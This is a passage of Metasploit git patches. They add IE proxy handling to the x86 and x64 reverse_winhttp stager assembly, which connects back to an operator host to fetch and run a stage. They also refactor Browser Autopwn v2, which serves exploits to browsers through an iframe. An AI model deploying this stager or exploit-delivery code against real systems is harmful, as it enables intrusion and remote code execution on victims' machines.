the configured feature set and options. # # @option opts [Bool] :ssl Whether or not to enable SSL - # @option opts [String] :url The URI to request during staging + # @option opts [String] :uri The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Fixnum] :port The port to connect to # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil @@ -117,9 +127,22 @@ module Payload::Windows::ReverseWinHttp retry_count = [opts[:retry_count].to_i, 1].max verify_ssl = nil encoded_cert_hash = nil - encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_uri = asm_generate_wchar_array(opts[:uri]) encoded_host = asm_generate_wchar_array(opts[:host]) + # this is used by the IE proxy functionality when an autoconfiguration URL + # is specified. We need the full URL otherwise the call to resolve the proxy + # for the URL doesn't work. + full_url = 'http' + full_url << 's' if opts[:ssl] + full_url << '://' << opts[:host] + full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443 + full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80 + full_url << opts[:uri] + + encoded_full_url = asm_generate_wchar_array(full_url) + encoded_uri_index = full_url.rindex('/') * 2 + if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") @@ -164,6 +187,14 @@ module Payload::Windows::ReverseWinHttp 0x00000100 ) # WINHTTP_FLAG_BYPASS_PROXY_CACHE end + ie_proxy_autodect = ( + 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP + 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A + + ie_proxy_flags = ( + 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT + 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL + asm = %Q^ ; Input: EBP must be the address of 'api_call'. ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) @@ -218,14 +249,34 @@ module Payload::Windows::ReverseWinHttp ^ end + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + push eax ; Session handle is required later for ie proxy + ^ + end + asm << %Q^ WinHttpConnect: push ebx ; Reserved (NULL) push #{opts[:port]} ; Port [3] call got_server_uri ; Double call to get pointer for both server_uri and server_uri: ; server_host; server_uri is saved in edi for later - db #{encoded_url} + ^ + + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + db #{encoded_full_url} got_server_host: + add edi, #{encoded_uri_index} ; move edi up to where the URI starts + ^ + else + asm << %Q^ + db #{encoded_uri} + got_server_host: + ^ + end + + asm << %Q^ push eax ; Session handle returned by WinHttpOpen push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpConnect')} call ebp @@ -275,6 +326,89 @@ module Payload::Windows::ReverseWinHttp push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetCredentials')} call ebp ^ + elsif opts[:proxy_ie] == true + asm << %Q^ + ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is + ; a 16-byte structure + sub esp, 16 + mov eax, esp ; store a pointer to the buffer + push edi ; store the current URL in case it's needed + mov edi, eax ; put the buffer pointer in edi + push edi ; Push a pointer to the buffer + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')} + call ebp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + + ; check the "auto detect" flag to see if it's set, if it is, jump to the + ; end and let things carry on as they were + mov eax, [edi] + test eax, eax + jnz ie_proxy_setup_finish + + ; if auto detect isn't on, check if there's an auto configuration URL + mov eax, [edi+4] + test eax, eax + jz ie_proxy_manual + + ; restore the URL we need to reference + pop edx + sub edx, #{encoded_uri_index} ; move edx up to where the full URL starts + + ; set up the autoproxy structure on the stack + push 1 ; fAutoLogonIfChallenged (1=TRUE) + push ebx ; dwReserved (0) + push ebx ; lpReserved (NULL) + push eax ; lpszAutoConfigUrl + push #{ie_proxy_autodect} ; dwAutoDetectFlags + push #{ie_proxy_flags} ; dwFlags + mov eax, esp + + ; prepare space for the resulting proxy info structure + sub esp, 12 + mov edi, esp ; store the proxy pointer + + ; prepare the WinHttpGetProxyForUrl call + push edi ; pProxyInfo + push eax ; pAutoProxyOptions + push edx ; lpcwszUrl + lea eax, [esp+64] ; Find the pointer to the hSession - HACK! + push [eax] ; hSession + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')} + call ebp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + jmp set_ie_proxy ; edi points to the filled out proxy structure + + ie_proxy_manual: + ; check to see if a manual proxy is specified, if not, we skip + mov eax, [edi+8] + test eax, eax + jz ie_proxy_setup_finish + + ; manual proxy present, set up the proxy info structure by patching the + ; existing current user IE structure that is in edi + push 4 + pop eax + add edi, eax ; skip over the fAutoDetect flag + dec eax + mov [edi], eax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY) + + ; fallthrough to set the ie proxy + + set_ie_proxy: + ; we assume that edi is going to point to the proxy options + push 12 ; dwBufferLength (sizeof proxy options) + push edi ; lpBuffer (pointer to the proxy) + push 38 ; dwOption (WINHTTP_OPTION_PROXY) + push esi ; hRequest + push #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} + call ebp + + ie_proxy_setup_finish: + ^ end if opts[:ssl] From 3efe22d5e22940c625a9d9c3c370f4f956b264f6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 01:42:34 -0500 Subject: [PATCH 0178/1013] This seems better, slower though --- lib/msf/core/exploit/browserautopwnv2.rb | 71 +++++++++++------------- 1 file changed, 33 insertions(+), 38 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 0d194ea70a..125b0be380 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -22,6 +22,9 @@ module Msf # @return [Array] A list of payload job IDs attr_reader :payload_job_ids + # @return [Array] Wanted payloads. + attr_reader :wanted_payloads + # The default platform-specific payloads and preferred LPORTS. # The hash key is the name of the platform that matches what's on the module. @@ -149,8 +152,8 @@ module Msf # Set options configurable by the user. p = select_payload(xploit) - xploit.datastore['PAYLOAD'] = p['payload'] - xploit.datastore['LPORT'] = p['lport'] + xploit.datastore['PAYLOAD'] = p.first[:payload_name] + xploit.datastore['LPORT'] = p.first[:payload_lport] xploit.datastore['SRVHOST'] = datastore['SRVHOST'] xploit.datastore['JsObfuscate'] = datastore['JsObfuscate'] if datastore['JsObfuscate'] xploit.datastore['CookieName'] = datastore['CookieName'] if datastore['CookieName'] @@ -272,28 +275,6 @@ module Msf end - # Verifies with current active modules and see if the payload is wanted. For example: if only - # Windows exploits are being loaded, then there's no point to load payload handlers for Java, - # Linux and other ones. - # - # @param [String] payload_name The payload module path (name). - # @return [TrueClass] Payload is wanted. - # @return [FalseClass] Payload is not wanted. - def is_payload_handler_wanted?(payload_name) - p = framework.payloads.create(payload_name) - return false unless p - - payload_platforms = p.platform.platforms - - bap_exploits.each do |m| - module_platforms = m.platform.platforms - return true if payload_platforms.all? { |e| module_platforms.include? e} - end - - false - end - - # Returns a payload name. Either this will be the user's choice, or falls back to a default one. # # @see DEFAULT_PAYLOADS The default settings. @@ -307,7 +288,6 @@ module Msf return payload_name if framework.payloads.keys.include?(payload_name) default = DEFAULT_PAYLOADS[platform]['payload'] - print_status("Unknown payload set: #{payload_name}. Falling back to: #{default}.") # The user has configured some unknown payload that we can't use, # fall back to default. @@ -343,20 +323,13 @@ module Msf # Spawn nothing if the user doesn't want to pop sessions. return if datastore['MaxSessions'] == 0 - wanted_payloads = [] - bap_exploits.each do |mod| - wanted_payloads << { - :payload_name => mod.datastore['PAYLOAD'], :payload_lport => mod.datastore['LPORT'] - } - end - # Don't repeat launching payload handlers wanted_payloads.uniq! { |e| e[:payload_name] } wanted_payloads.each do |wanted| multi_handler = framework.modules.create('exploit/multi/handler') - # We have to special firefox + # We have to special case firefox payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] # User configurable options @@ -404,16 +377,35 @@ module Msf # @param [Object] m A module that's been initialized. # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) - selected_payload = DEFAULT_PAYLOADS['generic'] - DEFAULT_PAYLOADS.each_pair do |p, info| - preferred = info['payload'] + compatible_payloads = [] + + DEFAULT_PAYLOADS.each_pair do |platform, info| + payload_name = get_selected_payload_name(platform) m.compatible_payloads.each do |k| - return info if k[0] == preferred + if k[0] == payload_name + payload_lport = get_selected_payload_lport(platform) + payload_choice = { + :payload_name => payload_name, + :payload_lport => payload_lport + } + + # Module's compatible payloads. + compatible_payloads << payload_choice + + # Track all compatible payloads. + @wanted_payloads << payload_choice + + # If the module isn't multiple, we assume there is only one payload that needs to be set, + # therefore no need to continue. + if !m.fullname.include?('multi/') + return compatible_payloads + end + end end end - selected_payload + compatible_payloads end @@ -445,6 +437,7 @@ module Msf @bap_exploits = [] @exploit_job_ids = [] @payload_job_ids = [] + @wanted_payloads = [] # #split might be expensive if the file is really big @whitelist = datastore['Whitelist'] ? datastore['Whitelist'].split : nil @@ -722,6 +715,8 @@ module Msf end end + + # Some Flash exploits don't seem to work well with a hidden iframe. js = %Q| var currentIndex = 0; var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; From 72112317cc171a5cf24483371b52091c865c130a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 01:58:34 -0500 Subject: [PATCH 0179/1013] Update --- lib/msf/core/exploit/browserautopwnv2.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 125b0be380..fa030a2f3b 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -48,8 +48,10 @@ module Msf # @return [void] def init_exploits # First we're going to avoid using #find_all because that gets very slow. - framework.exploits.each_pair do |fullname, plader_holder| - next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" + framework.exploits.each_pair do |fullname, place_holder| + # If the place holder isn't __SYMBOLIC__, then that means the module is initialized, + # and that's gotta be the active browser autopwn. + next if !fullname.include?('browser') || place_holder != '__SYMBOLIC__' # The user gets to specify which modules to include/exclude next if datastore['Include'] && fullname !~ datastore['Include'] @@ -327,7 +329,7 @@ module Msf wanted_payloads.uniq! { |e| e[:payload_name] } wanted_payloads.each do |wanted| - multi_handler = framework.modules.create('exploit/multi/handler') + multi_handler = framework.exploits.create('multi/handler') # We have to special case firefox payload_name = wanted[:payload_name].include?('firefox/') ? wanted[:payload_name].gsub('firefox/', 'generic/') : wanted[:payload_name] From db09b9846c49ae4413a1a0b2b6b5633eebfafe4a Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 02:44:57 -0500 Subject: [PATCH 0180/1013] I think I found the speed back --- lib/msf/core/exploit/browserautopwnv2.rb | 47 ++++++++++++++++++------ 1 file changed, 35 insertions(+), 12 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index fa030a2f3b..c5b8ec8cda 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -382,11 +382,36 @@ module Msf compatible_payloads = [] DEFAULT_PAYLOADS.each_pair do |platform, info| + payload_choice = {} payload_name = get_selected_payload_name(platform) + payload_lport = get_selected_payload_lport(platform) + # If the exploit has a platform, we don't have to call the expensive compatible_payloads method + begin + platform_obj = Msf::Module::Platform.find_platform(platform) + rescue ArgumentError + platform_obj = nil + # No platform obj found + end + + if !m.fullname.include?('multi/') && platform_obj && m.platform.platforms.include?(platform_obj) + payload_choice = { + :payload_name => payload_name, + :payload_lport => payload_lport + } + + # Module's compatible payloads. + compatible_payloads << payload_choice + + # Track all compatible payloads. + @wanted_payloads << payload_choice + + return compatible_payloads + end + + # Either it's a multi-platform module, or there's no platform information. m.compatible_payloads.each do |k| if k[0] == payload_name - payload_lport = get_selected_payload_lport(platform) payload_choice = { :payload_name => payload_name, :payload_lport => payload_lport @@ -400,9 +425,7 @@ module Msf # If the module isn't multiple, we assume there is only one payload that needs to be set, # therefore no need to continue. - if !m.fullname.include?('multi/') - return compatible_payloads - end + break if !m.fullname.include?('multi/') end end end @@ -726,14 +749,14 @@ module Msf window.onload = function() { var e = document.createElement("iframe"); e.setAttribute("id", "myiframe"); - if (typeof e.style.setAttribute == 'undefined') { - e.setAttribute("style", "visibility:hidden;height:0;width:0;border:0"); - } else { - e.style.setAttribute("visibility", "hidden"); - e.style.setAttribute("height", "0"); - e.style.setAttribute("width", "0"); - e.style.setAttribute("border", "0"); - } + //if (typeof e.style.setAttribute == 'undefined') { + // e.setAttribute("style", "visibility:hidden;height:0;width:0;border:0"); + //} else { + // e.style.setAttribute("visibility", "hidden"); + // e.style.setAttribute("height", "0"); + // e.style.setAttribute("width", "0"); + // e.style.setAttribute("border", "0"); + //} document.body.appendChild(e); setTimeout("loadExploit(currentIndex)", 1000); } From 87bc198c823fbc7abe11fd29261553bc9ce9854f Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 25 May 2015 19:18:54 +1000 Subject: [PATCH 0181/1013] x64 winhttp ie proxy support, autoconfig ignore --- .../core/payload/windows/reverse_winhttp.rb | 13 +- .../payload/windows/x64/reverse_winhttp.rb | 151 +++++++++++++++++- 2 files changed, 148 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index 723c7d0aaf..f2988b1100 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -1,9 +1,6 @@ # -*- coding: binary -*- require 'msf/core' -require 'msf/core/payload/transport_config' -require 'msf/core/payload/windows/block_api' -require 'msf/core/payload/windows/exitfunk' require 'msf/core/payload/windows/reverse_http' module Msf @@ -16,11 +13,10 @@ module Msf module Payload::Windows::ReverseWinHttp - include Msf::Payload::TransportConfig include Msf::Payload::Windows::ReverseHttp # - # Register reverse_http specific options + # Register reverse_winhttp specific options # def initialize(*args) super @@ -341,11 +337,8 @@ module Payload::Windows::ReverseWinHttp test eax, eax ; skip the rest of the proxy stuff if the call failed jz ie_proxy_setup_finish - ; check the "auto detect" flag to see if it's set, if it is, jump to the - ; end and let things carry on as they were - mov eax, [edi] - test eax, eax - jnz ie_proxy_setup_finish + ; we don't care about the "auto detect" flag, as it doesn't seem to + ; impact us at all. ; if auto detect isn't on, check if there's an auto configuration URL mov eax, [edi+4] diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index 9fe09ac40f..a98b36dd7c 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -16,6 +16,16 @@ module Payload::Windows::ReverseWinHttp_x64 include Msf::Payload::Windows::ReverseHttp_x64 + # + # Register reverse_winhttp specific options + # + def initialize(*args) + super + register_advanced_options([ + OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true]) + ], self.class) + end + # # Generate the first stage # @@ -24,13 +34,14 @@ module Payload::Windows::ReverseWinHttp_x64 ssl: opts[:ssl] || false, host: datastore['LHOST'], port: datastore['LPORT'], - url: generate_small_uri, - retry_count: datastore['StagerRetryCount'] + uri: generate_small_uri, + retry_count: datastore['StagerRetryCount'], + proxy_ie: datastore['PayloadProxyIE'] } # Add extra options if we have enough space unless self.available_space.nil? || required_space > self.available_space - conf[:url] = generate_uri + conf[:uri] = generate_uri conf[:exitfunk] = datastore['EXITFUNC'] conf[:verify_cert_hash] = opts[:verify_cert_hash] conf[:proxy_host] = datastore['PayloadProxyHost'] @@ -102,7 +113,7 @@ module Payload::Windows::ReverseWinHttp_x64 # Generate an assembly stub with the configured feature set and options. # # @option opts [Bool] :ssl Whether or not to enable SSL - # @option opts [String] :url The URI to request during staging + # @option opts [String] :uri The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Fixnum] :port The port to connect to # @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil @@ -114,9 +125,22 @@ module Payload::Windows::ReverseWinHttp_x64 retry_count = [opts[:retry_count].to_i, 1].max verify_ssl = nil encoded_cert_hash = nil - encoded_url = asm_generate_wchar_array(opts[:url]) + encoded_uri = asm_generate_wchar_array(opts[:uri]) encoded_host = asm_generate_wchar_array(opts[:host]) + # this is used by the IE proxy functionality when an autoconfiguration URL + # is specified. We need the full URL otherwise the call to resolve the proxy + # for the URL doesn't work. + full_url = 'http' + full_url << 's' if opts[:ssl] + full_url << '://' << opts[:host] + full_url << ":#{opts[:port]}" if opts[:ssl] && opts[:port] != 443 + full_url << ":#{opts[:port]}" if !opts[:ssl] && opts[:port] != 80 + full_url << opts[:uri] + + encoded_full_url = asm_generate_wchar_array(full_url) + encoded_uri_index = full_url.rindex('/') * 2 + if opts[:ssl] && opts[:verify_cert_hash] verify_ssl = true encoded_cert_hash = opts[:verify_cert_hash].unpack("C*").map{|c| "0x%.2x" % c }.join(",") @@ -154,6 +178,14 @@ module Payload::Windows::ReverseWinHttp_x64 http_open_flags |= 0x00800000 # WINHTTP_FLAG_SECURE end + ie_proxy_autodect = ( + 0x00000001 | # WINHTTP_AUTO_DETECT_TYPE_DHCP + 0x00000002 ) # WINHTTP_AUTO_DETECT_TYPE_DNS_A + + ie_proxy_flags = ( + 0x00000001 | # WINHTTP_AUTOPROXY_AUTO_DETECT + 0x00000002 ) # WINHTTP_AUTOPROXY_CONFIG_URL + asm = %Q^ xor rbx, rbx load_winhttp: @@ -207,7 +239,15 @@ module Payload::Windows::ReverseWinHttp_x64 push rbx ; dwFlags (0) mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpOpen')}; WinHttpOpen call rbp + ^ + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + mov r12, rax ; Session handle is required later for ie proxy + ^ + end + + asm << %Q^ call load_server_host db #{encoded_host} load_server_host: @@ -219,12 +259,34 @@ module Payload::Windows::ReverseWinHttp_x64 call rbp call winhttpopenrequest - db #{encoded_url} + ^ + + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + db #{encoded_full_url} + ^ + else + asm << %Q^ + db #{encoded_uri} + ^ + end + + asm << %Q^ winhttpopenrequest: mov rcx, rax ; hConnect push rbx pop rdx ; pwszVerb (NULL=GET) pop r8 ; pwszObjectName (URI) + ^ + + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + mov r13, r8 ; store a copy of the URL for later + add r8, #{encoded_uri_index} ; move r8 up to where the URI stars + ^ + end + + asm << %Q^ xor r9, r9 ; pwszVersion (NULL) push rbx ; stack alignment mov rax, #{"0x%.8x" % http_open_flags} ; dwFlags @@ -268,6 +330,83 @@ module Payload::Windows::ReverseWinHttp_x64 ^ end + if opts[:proxy_ie] == true && !proxy_enabled + asm << %Q^ + ; allocate space for WINHTTP_CURRENT_USER_IE_PROXY_CONFIG, which is + ; a 32-byte structure + sub rax, 32 + mov rdi, rsp ; save a pointer to this buffer + mov rcx, rdi ; this buffer is also the parameter to the function + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetIEProxyConfigForCurrentUser')} ; WinHttpGetIEProxyConfigForCurrentUser + call rbp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + + ; we don't care about the "auto detect" flag, as it doesn't seem to + ; impact us at all. + + ; check if there's an auto configuration URL + mov rax, [rdi+8] + test eax, eax + jz ie_proxy_manual + + ; set up the autoproxy structure on the stack and get it ready to pass + ; into the target function + mov rcx, rbx + inc rcx + shl rcx, 32 + push rcx ; dwReserved (0) and fAutoLoginIfChallenged + push rbx ; lpvReserved (NULL) + push rax ; lpszAutoConfigUrl + mov rax, #{ie_proxy_flags | ie_proxy_autodect << 32} ; dwAutoDetectFlags and dwFlags + push rax + mov r8, rsp ; put the structure in the parameter list + + ; prepare the proxy info buffer, 32 bytes required + sub rsp, 32 + mov rdi, rsp ; we'll need a pointer to this later + mov r9, rdi ; pass it as the 4th parameter + + ; rest of the parameters + mov rcx, r12 ; hSession + mov rdx, r13 ; lpcwszUrl + + ; finally make the call + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpGetProxyForUrl')} ; WinHttpGetProxyForUrl + call rbp + + test eax, eax ; skip the rest of the proxy stuff if the call failed + jz ie_proxy_setup_finish + jmp set_ie_proxy ; rdi points to the filled out proxy structure + + ie_proxy_manual: + mov rax, [rdi+16] ; check for the manual proxy + test eax, eax + jz ie_proxy_setup_finish + + add rdi, 8 + push 3 + pop rax + mov [rdi], rax ; set dwAccessType (3=WINHTTP_ACCESS_TYPE_NAMED_PROXY) + + ; fallthrough to set the ie proxy + + set_ie_proxy: + ; we assume that rdi is going to point to the proxy options + mov r8, rdi ; lpBuffer (proxy options) + push 24 + pop r9 ; dwBufferLength (size of proxy options) + mov rcx, rsi ; hConnection (connection handle) + push 38 + pop rdx ; (38=WINHTTP_OPTION_PROXY) + mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption + call rbp + + ie_proxy_setup_finish: + ^ + end + if retry_count > 1 asm << %Q^ push #{retry_count} From 307dcd09dd89e63377717bb3acad48dddb52ebc3 Mon Sep 17 00:00:00 2001 From: OJ Date: Mon, 25 May 2015 20:12:20 +1000 Subject: [PATCH 0182/1013] Update payload cache sizes again --- lib/msf/core/payload/windows/reverse_winhttp.rb | 2 +- lib/msf/core/payload/windows/x64/reverse_winhttp.rb | 2 +- modules/payloads/stagers/windows/reverse_winhttp.rb | 2 +- modules/payloads/stagers/windows/reverse_winhttps.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_winhttp.rb | 2 +- modules/payloads/stagers/windows/x64/reverse_winhttps.rb | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_winhttp.rb b/lib/msf/core/payload/windows/reverse_winhttp.rb index f2988b1100..f6a18fd0fa 100644 --- a/lib/msf/core/payload/windows/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/reverse_winhttp.rb @@ -31,7 +31,7 @@ module Payload::Windows::ReverseWinHttp def generate(opts={}) conf = { ssl: opts[:ssl] || false, - host: datastore['LHOST'], + host: datastore['LHOST'] || '127.127.127.127', port: datastore['LPORT'], uri: generate_small_uri, retry_count: datastore['StagerRetryCount'], diff --git a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb index a98b36dd7c..8667f8e5fc 100644 --- a/lib/msf/core/payload/windows/x64/reverse_winhttp.rb +++ b/lib/msf/core/payload/windows/x64/reverse_winhttp.rb @@ -32,7 +32,7 @@ module Payload::Windows::ReverseWinHttp_x64 def generate(opts={}) conf = { ssl: opts[:ssl] || false, - host: datastore['LHOST'], + host: datastore['LHOST'] || '127.127.127.127', port: datastore['LPORT'], uri: generate_small_uri, retry_count: datastore['StagerRetryCount'], diff --git a/modules/payloads/stagers/windows/reverse_winhttp.rb b/modules/payloads/stagers/windows/reverse_winhttp.rb index 4242ac692a..874c43ba8e 100644 --- a/modules/payloads/stagers/windows/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/reverse_winhttp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_winhttp' module Metasploit4 - CachedSize = 327 + CachedSize = 357 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/reverse_winhttps.rb b/modules/payloads/stagers/windows/reverse_winhttps.rb index 18d76fc612..2fc30a16ae 100644 --- a/modules/payloads/stagers/windows/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/reverse_winhttps.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/reverse_winhttps' module Metasploit4 - CachedSize = 347 + CachedSize = 377 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb index 2aa70a863d..d5bfbfac8e 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttp.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttp.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttp' module Metasploit4 - CachedSize = 510 + CachedSize = 540 include Msf::Payload::Stager include Msf::Payload::Windows diff --git a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb index cdd9b381f0..09ba8aa6da 100644 --- a/modules/payloads/stagers/windows/x64/reverse_winhttps.rb +++ b/modules/payloads/stagers/windows/x64/reverse_winhttps.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_winhttps' module Metasploit4 - CachedSize = 541 + CachedSize = 571 include Msf::Payload::Stager include Msf::Payload::Windows From 3d5248f023fc1edfdb54835e7ea3e0286d7b5aec Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 11:46:18 -0500 Subject: [PATCH 0183/1013] This is better --- lib/msf/core/exploit/browserautopwnv2.rb | 86 ++++++++++++------------ 1 file changed, 42 insertions(+), 44 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c5b8ec8cda..0fb2ef7efe 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -373,6 +373,33 @@ module Msf end + def is_payload_platform_compatible?(m, payload_platform) + begin + platform_obj = Msf::Module::Platform.find_platform(payload_platform) + rescue ArgumentError + false + end + + return true if platform_obj && m.platform.platforms.include?(platform_obj) + + false + end + + + def is_payload_compatible?(m, payload_name) + m.compatible_payloads.each do |k| + return true if k[0] == payload_name + end + + false + end + + + def is_multi_platform_exploit?(m) + m.fullname.include?('multi/') + end + + # Returns the selected payload. This method will choose a compatible payload based on the # default list. # @@ -382,54 +409,21 @@ module Msf compatible_payloads = [] DEFAULT_PAYLOADS.each_pair do |platform, info| - payload_choice = {} - payload_name = get_selected_payload_name(platform) - payload_lport = get_selected_payload_lport(platform) + payload_choice = { + :payload_name => get_selected_payload_name(platform), + :payload_lport => get_selected_payload_lport(platform) + } - # If the exploit has a platform, we don't have to call the expensive compatible_payloads method - begin - platform_obj = Msf::Module::Platform.find_platform(platform) - rescue ArgumentError - platform_obj = nil - # No platform obj found - end - - if !m.fullname.include?('multi/') && platform_obj && m.platform.platforms.include?(platform_obj) - payload_choice = { - :payload_name => payload_name, - :payload_lport => payload_lport - } - - # Module's compatible payloads. - compatible_payloads << payload_choice - - # Track all compatible payloads. - @wanted_payloads << payload_choice - - return compatible_payloads - end - - # Either it's a multi-platform module, or there's no platform information. - m.compatible_payloads.each do |k| - if k[0] == payload_name - payload_choice = { - :payload_name => payload_name, - :payload_lport => payload_lport - } - - # Module's compatible payloads. - compatible_payloads << payload_choice - - # Track all compatible payloads. - @wanted_payloads << payload_choice - - # If the module isn't multiple, we assume there is only one payload that needs to be set, - # therefore no need to continue. - break if !m.fullname.include?('multi/') - end + if !is_multi_platform_exploit?(m) && !m.platform.platforms.empty? && is_payload_platform_compatible?(m, platform) + compatible_payloads << payload_choice + break + elsif is_payload_compatible?(m, payload_choice[:payload_name]) + compatible_payloads << payload_choice end end + @wanted_payloads.concat(compatible_payloads) + compatible_payloads end @@ -738,6 +732,10 @@ module Msf else return datastore['Content'] end + elsif exploit_list.empty? + print_status("No suitable exploits to send.") + send_not_found(cli) + return '' end From 31027411576c6b8a1212d95a821095b3582348ca Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 25 May 2015 11:54:58 -0500 Subject: [PATCH 0184/1013] Don't need print_line --- lib/msf/core/exploit/browserautopwnv2.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 0fb2ef7efe..8cde1330d2 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -472,7 +472,6 @@ module Msf start_payload_listeners t2 = Time.now - print_line print_status("Time spent: #{(t2-t1).inspect}") end From 43f505b462c4516c773d4ac9145ad8dea6751dcc Mon Sep 17 00:00:00 2001 From: Michael Messner Date: Mon, 25 May 2015 19:31:50 +0200 Subject: [PATCH 0185/1013] fix contact details --- modules/exploits/linux/upnp/miniupnpd_soap_bof.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb index 950f3f4835..fe94b76a68 100644 --- a/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb +++ b/modules/exploits/linux/upnp/miniupnpd_soap_bof.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'hdm', # Vulnerability discovery 'Dejan Lukan', # Metasploit module, debian target 'Onur ALANBEL', # Expliot for Airties target - 'm-1-k-3' # Metasploit module, Airties target + 'Michael Messner ' # Metasploit module, Airties target ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'EXITFUNC' => 'process', }, From abd4ab548d44580dc22a6cfee6a61bebf9dacd3c Mon Sep 17 00:00:00 